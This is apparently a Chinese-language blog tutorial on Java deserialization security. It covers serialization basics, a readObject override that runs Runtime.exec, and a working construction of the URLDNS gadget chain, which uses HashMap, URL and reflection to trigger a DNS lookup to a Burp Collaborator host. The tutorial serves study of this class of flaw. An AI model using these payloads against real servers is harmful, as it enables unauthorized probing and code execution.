java序列化与反序列学习(一)

什么是序列化与反序列化?

  • Java序列化是指把Java对象转换为字节序列的过程
  • 而Java反序列化是指把字节序列恢复为Java对象的过程。
  • 序列化分为两大部分: 序列化和反序列化。
    • 序列化是这个过程的第一部分,将数据分解成字节流,以便存储在文件中或在网络上传输。
    • 反序列化就是打开字节流并重构对象。对象序列化不仅要将基本数据类型转换成字节表示,有时还要恢复数据。恢复数据要求有恢复数据的 对象实例。

为什么要用序列化与反序列化?

当两个进程进行远程通信时,可以相互发送各种类型的数据,包括文本、图片、音频、视频等, 而这些数据都会以二进制序列的形式在网络上传送。那么当两个Java进程进行通信时,能否实现进程间的对象传送呢?答案是可以的。如何做到呢?这就需要Java序列化与反序列化了。换句话说,一方面,发送方需要把这个Java对象转换为字节序列,然后在网络上传送;另一方面,接收方需要从字节序列中恢复出Java对象。

当我们明晰了为什么需要Java序列化和反序列化后,我们很自然地会想Java序列化的用途。

两种用途:

  1. 把对象的字节序列永久地保存到硬盘上,通常存放在一个文件中;
  2. 在网络上传送对象的字节序列。

初步总结:Java 序列化和反序列化,其一,实现了数据的持久化,通过序列化可以把数据永久的保存在硬盘上;其二,利用序列化实现远程通信,即在网络上传递对象的字节序列。

java原生反序列化

序列化代码

public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

反序列化代码

public static Object unserialize(String fileName) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName));
        return ois.readObject();
    }
  • ObjectOutputStream代表对象输出流:
    • 它的writeObject(Object obj)方法可对参数指定的obj对象进行序列化,把得到的字节序列写到一个目标输出流中。
  • ObjectInputStream代表对象输入流:
    • 它的readObject()方法从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回。
  • 静态成员变量是不能被序列化
    • 序列化是针对对象属性的,而静态成员变量是属于类的。
  • transient 标识的对象成员变量不参与序列化

创建个Person类,必须实现Serializable接口,不然就会报错

import java.io.Serializable;

public class Person implements Serializable {
    private String name;
    private int age;

    public Person() {
    }

    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }

    @Override
    public String toString() {
        return "Person{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
}

测试代码

public static void main(String[] args) throws Exception {
        Person person = new Person("lisi", 20);
        serialize(person);
        Object o = unserialize("ser.bin");
        System.out.println(o);
}
// 输出结果
Person{name='lisi', age=20}

当使用transient标识name时,输出结果Person{name='null', age=20}

在开发时,readObject和writeObject可能不符合自己的开发需求,所有jdk提供了方法,可以重写readObject和writeObject,这样在序列化和反序列化时,就不会调用jdk原生类,而是调用自己写的类

  • 特点:开发者能够灵活的做优化操作

这样就会产生安全问题

为什么会产生安全问题

只要服务端反序列化数据,客户端传递类的readObject中代码会自动执行,给予攻击者在服务器上运行代码的能力。

可能出现的安全问题的形式

  • 共同条件:继承Serializable
    1. 入口类source(重写readObject、调用常见的函数、参数类型宽泛、最好jdk自带)
    2. 调用链 gadget chain 相同名称 相同类型
    3. 执行类 (最重要)
  1. 入口类的readObject直接调用危险方法。(这是最理想的情况,基本不可能出现)
    //重写readObject
    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
           ois.defaultReadObject();
           Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
    }
    //在反序列化是就能打开计算器
    

    image-20211104211124757

  2. 入口类参数中包含可控类,该类有危险方法,readObject时调用。 (比较少)

  3. 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用。

URLDNS链子分析

首先找到入口函数

使用HashMap作为入口函数,HashMap重写了readObject方法,可以看到最后进行了赋值操作,并且执行了hash函数,进的hash,调用key的hashCode

image-20211104215208089

image-20211104215241893

执行类

使用URL,可以看到调用了hashcode函数,这里调用getHostAddress,根据域名来获取地址,这里肯定会做一个域名解析的工作,也就是说如果我们调用了URL类的hashcode函数,我们就会得到一个dns请求,我们就可以验证是否存在漏洞

image-20211104215301291

image-20211104215344154

链子利用

当创建一个HashMap,并且插入数据为URL类,反序列化时就会自动调用HashMap的readObject方法,然后会调用到URL的hashCode方法

首先使用new一个HashMap,然后传进去,一个URL,并且序列化,使用burp打开一个Burp Collaborator client,用来接收请求

public static void main(String[] args) throws Exception {
    HashMap<URL, Integer> hashMap = new HashMap<>();
    hashMap.put(new URL("http://s1uxpddbzq9sg27en1n8u1amgdm4at.burpcollaborator.net"),1);
    serialize(hashMap);
    //unserialize("ser.bin");
}

当序列化是,接收到了请求,但是反序列化是却没有接收到请求

image-20211105090627380

这里就有问题,为了防止干扰,我们应该是序列化时不执行,反序列化的时候执行,经过代码调试发现,当给HashMap插入数据时,hashCode的值会改变,初始值是-1,反序列化时hashCode值不为-1,会直接返回hashCode,而不会调用hashCode函数

image-20211105091025987

所以这里要解决两个问题:

  1. 插入数据时,不发起请求
  2. 最后把hashCode值改为-1

首先需要了解什么是JAVA反射,才能修改值,参考文章:https://juejin.cn/post/6844904025607897096#heading-0

知道了什么是反射,开始进行第一步,在插入数据之前先把hashCode的值改为别的值,测试发现burp没有接收到请求

public static void main(String[] args) throws Exception {
    HashMap<URL, Integer> hashMap = new HashMap<>();
    //这里为了不发起请求,把rul对象的hashCode改成别的值
    URL url = new URL("http://s1uxpddbzq9sg27en1n8u1amgdm4at.burpcollaborator.net");
    Class c = url.getClass();
    Field hashCodeField = c.getDeclaredField("hashCode");
    hashCodeField.setAccessible(true);
    hashCodeField.set(url,123);
    hashMap.put(url,1);
    //这里需要再把hashCode的值改为-1
    //hashCodeField.set(url,-1);
    serialize(hashMap);
    //unserialize("ser.bin");
}

第二步,直接在hashMap.put(url,1);后面修改hashCode的值为-1,hashCodeField.set(url,-1);

成功接收到请求

image-20211105092731959

暂无评论

发送评论 编辑评论


|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇